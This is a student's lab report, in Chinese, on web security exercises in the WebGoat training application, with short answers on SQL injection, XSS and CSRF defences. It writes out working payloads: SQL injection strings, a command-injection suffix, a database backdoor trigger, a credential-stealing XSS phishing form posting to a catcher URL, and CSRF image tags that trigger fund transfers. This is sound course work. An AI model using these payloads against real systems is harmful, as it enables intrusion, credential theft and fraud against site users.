20145227鄢曼君《網絡對抗》Web安全基礎實踐

20145227鄢曼君《網絡對抗》Web安全基礎實踐

實驗後回答問題

1.SQL注入攻擊原理,如何防護?

  • SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,經過執行SQL語句進而執行攻擊者所要的操做,其主要緣由是程序沒有細緻地過濾用戶輸入的數據,導致非法數據侵入系統。
  • 根據相關技術原理,SQL注入能夠分爲平臺層注入和代碼層注入。前者由不安全的數據庫配置或數據庫平臺的漏洞所致;後者主要是因爲程序員對輸入未進行細緻地過濾,從而執行了非法的數據查詢。
  • 防護:對輸入的數據進行過濾,過濾掉敏感字符。加密數據庫。

2.XSS攻擊的原理,如何防護?

  • XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。攻擊者利用網站漏洞,輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。
  • 防護:檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出。還有就是在表單提交或者url參數傳遞前,對須要的參數進行過濾。

3.CSRF攻擊原理,如何防護?

  • CSRF全名是Cross-site request forgery,是一種對網站的惡意利用。CSRF攻擊的主要目的是讓用戶在不知情的狀況下攻擊本身已登陸的一個系統,經過假裝來自受信任用戶的請求來利用受信任的網站。它危害性甚至比XSS更大。好比實驗中的轉帳之類的。
  • 防護:用戶在瀏覽其它站點前登出站點;在瀏覽器會話結束後清理瀏覽器的cookie;儘可能不要在頁面的連接中暴露用戶隱私信息;避免全站通用的cookie,嚴格設置cookie的域。

實驗感想

  • 此次實驗確實內容不少,可是都還挺有意思的,並且我也學到了一些東西。此次的實驗感受與咱們生活息息相關,其實咱們以前學的不少課程都有涉及到web安全,這一次的Web安全基礎實踐又讓我瞭解到了更多的關於這方面的攻擊手段等,相信之後登陸網頁或者點擊連接之類的我會更加謹慎。

實踐過程

  • 開啓webgoat,打開WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar

  • 而後在瀏覽器輸入localhost:8080/WebGoat,進入webgoat。

SQL練習

String SQL Injection(SQL字符串注入)

  • 這個題的題目大意是:這個表單容許使用者查詢他們的信用卡號,使用SQL注入讓全部的信用卡號都看得見。

  • 咱們構造一個永真式「1」,那麼無論前面的WHERE是否成立都能執行,因此構造語句'or 1='1,成功獲得了所有的信用卡號。

Numeric SQL Injection(數字型SQL注入)

  • 這個題大概意思是這個表單容許使用者看到天氣數據,利用SQL注入使得能夠看見全部數據。
  • 因爲沒辦法直接輸入,沒法在前端進行SQL注入,咱們能夠從捕獲包中修改。
  • 首先啓動BurpSuite。而後設置代理「Proxy」的「Options」選項,默認是8080端口被佔用時須要添加一個新的端口8888,點擊add;添加後勾選。

  • 而後設置瀏覽器的代理:打開瀏覽器右側的「更多」選項卡,preference-advanced-settings
  • 這至關於將burpsuite當成中間服務器,每一個數據包都流過它。
  • 設置好以後回到題目,任意選擇一項,點擊GO,而後回到burpsuite。發現多了捕獲的包。而後右鍵send to repeater ,咱們修改station值從爲101 爲 101 or 1=1,點擊GO,能夠看到右邊response包中的SQL語句爲SELECT * FROM weather_data WHERE station = 101 or 1=1

  • 回到Proxy中點擊Intercept is on對剩下的包不做處理,回到火狐瀏覽器發現已經成功了!

Command Injection(命令注入)

  • 題目要求可以在目標主機上執行系統命令,我發現能夠經過火狐瀏覽器下的一個擴展Firebug對源代碼進行修改,例如在BackDoors.help旁邊加上& netstat -an & ipconfig

  • 選中修改後的值再點view,能夠看到命令被執行,出現系統網絡鏈接狀況:

Database Backdoors

  • 輸入注入語句:101; update employee set salary=9000,成功把該用戶的工資漲到了9000。這種給別人漲工資的感受好棒啊~

  • 接下來使用語句101;CREATE TRIGGER ymjBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145227@qq.com' WHERE userid = NEW.userid 建立一個後門,把表中全部的郵箱和用戶ID都設爲個人。全部人的工資都郵到我這裏吧,哈哈哈

Blind Numeric SQL Injection

  • 題目要求是獲得一個存放在pins表中值pin的內容,行號cc_number=1111222233334444,是一個int型的數據。
  • 而後使用BurpSuite進行攔截,攔截後action--send to intruder進行暴力破解,使用sniper模式,選擇10000進行數字爆破(選擇前先clear將默認的爆破點清除),從1到10000,步長爲1。能夠發現2364的報文長度明顯和其餘不同,那這個值就應該就是2364:

Log Spoofing(日誌欺騙)

  • 這道題大概意思是說,咱們輸入的用戶名會被追加到日誌文件中。因此咱們可使用障眼法來使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」,例如在User Name文本框中輸入ymj%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符:

  • 攻擊成功:

LAB:SQL Injection

Stage 1:String SQL Injection

  • 題目要求:使用字符串SQL注入在沒有正確密碼的狀況下登陸帳號boss。
  • 以用戶Neville登陸,在密碼欄中輸入' or 1=1 --進行SQL注入,可是登陸失敗。
  • 查看了一下網頁源碼,發現輸入框對輸入的字符長度進行了限制,最多隻容許輸入8個字符:

  • 因而我對字符長度進行了修改,而後從新登陸,登陸成功!

Stage 3:Numeric SQL Injection

  • 題目要求:經過注入語句,瀏覽到本來沒法瀏覽的信息。經過一個普通員工的帳戶larry,瀏覽其BOSS的帳戶信息。
  • 首先咱們用上一題的辦法登陸Larry的帳號!在密碼框裏輸入' or 1=1 --,登陸後發現咱們只能看見Larry一我的的工資信息.

  • 瀏覽員工信息的按鈕是ViewProfile.在網頁代碼中分析一下這個按鈕,發現這個地方是以員工ID做爲索引傳遞參數的,咱們要達到經過Larry來瀏覽老闆帳戶信息的目的,把其中的value值改成101 or 1=1 order by salary desc --,這樣老闆的信息就會被排到第一個:

  • 而後成功查看到老闆的信息!

XSS攻擊

Phishing with XSS

  • 這個題目咱們要在搜索框中輸入XSS攻擊代碼:
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單,而後輸入用戶名密碼,點擊登陸,WebGoat會將你輸入的信息捕獲並反饋給你:

  • 攻擊成功,結果以下圖:

Stored XSS Attacks

  • 題目要求:要建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。
  • 直接在title裏隨便輸入,而後在message中輸入一串代碼,好比:<script>alert("hhh5227lll!");</script> 提交後,再次點擊剛剛建立的帖子,成功彈出窗口,說明攻擊成功!

Reflected XSS Attacks

  • 當咱們輸入錯誤的用戶信息後,服務器校驗輸入有誤,會返回錯誤頁面並將錯誤內容展現給咱們看:

  • 若是咱們將帶有攻擊性的URL做爲輸入源,好比<script>alert("hhh20145227ymj");</script>,就會彈出對話框:

  • 攻擊成功!

  • 這個看上去和上面很類似,可是原理不一樣,上面的是存儲式的,這個是經過寫在url裏面達到的效果,裏面的腳本也能夠改寫成其餘惡意的內容。

CSRF攻擊

Cross Site Request Forgery

  • 題目要求:須要寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,咱們能夠以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
  • 查看本身電腦的Screen和menu的值:

  • 而後在message裏面輸入<img src="http://localhost:8080/WebGoat/attack?Screen=291&menu=900&transferFunds=轉帳金額"/>就會發出一個轉錢的請求,盜取錢財。
  • 提交後,會在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的錢,達到CSRF攻擊的目的。

CSRF Prompt By-Pass

  • 這個就是利用CSRF進行冒名操做轉帳,不過此次包括了兩個請求,一是轉帳請求,二是確認轉帳成功請求,即須要額外傳遞兩個參數給服務器(transferFunds=4000,transferFunds=CONFIRM)。直接在message中寫入攻擊代碼,而後提交:

  • 點擊了CONFIRM按鈕,成功實現:

相關文章
相關標籤/搜索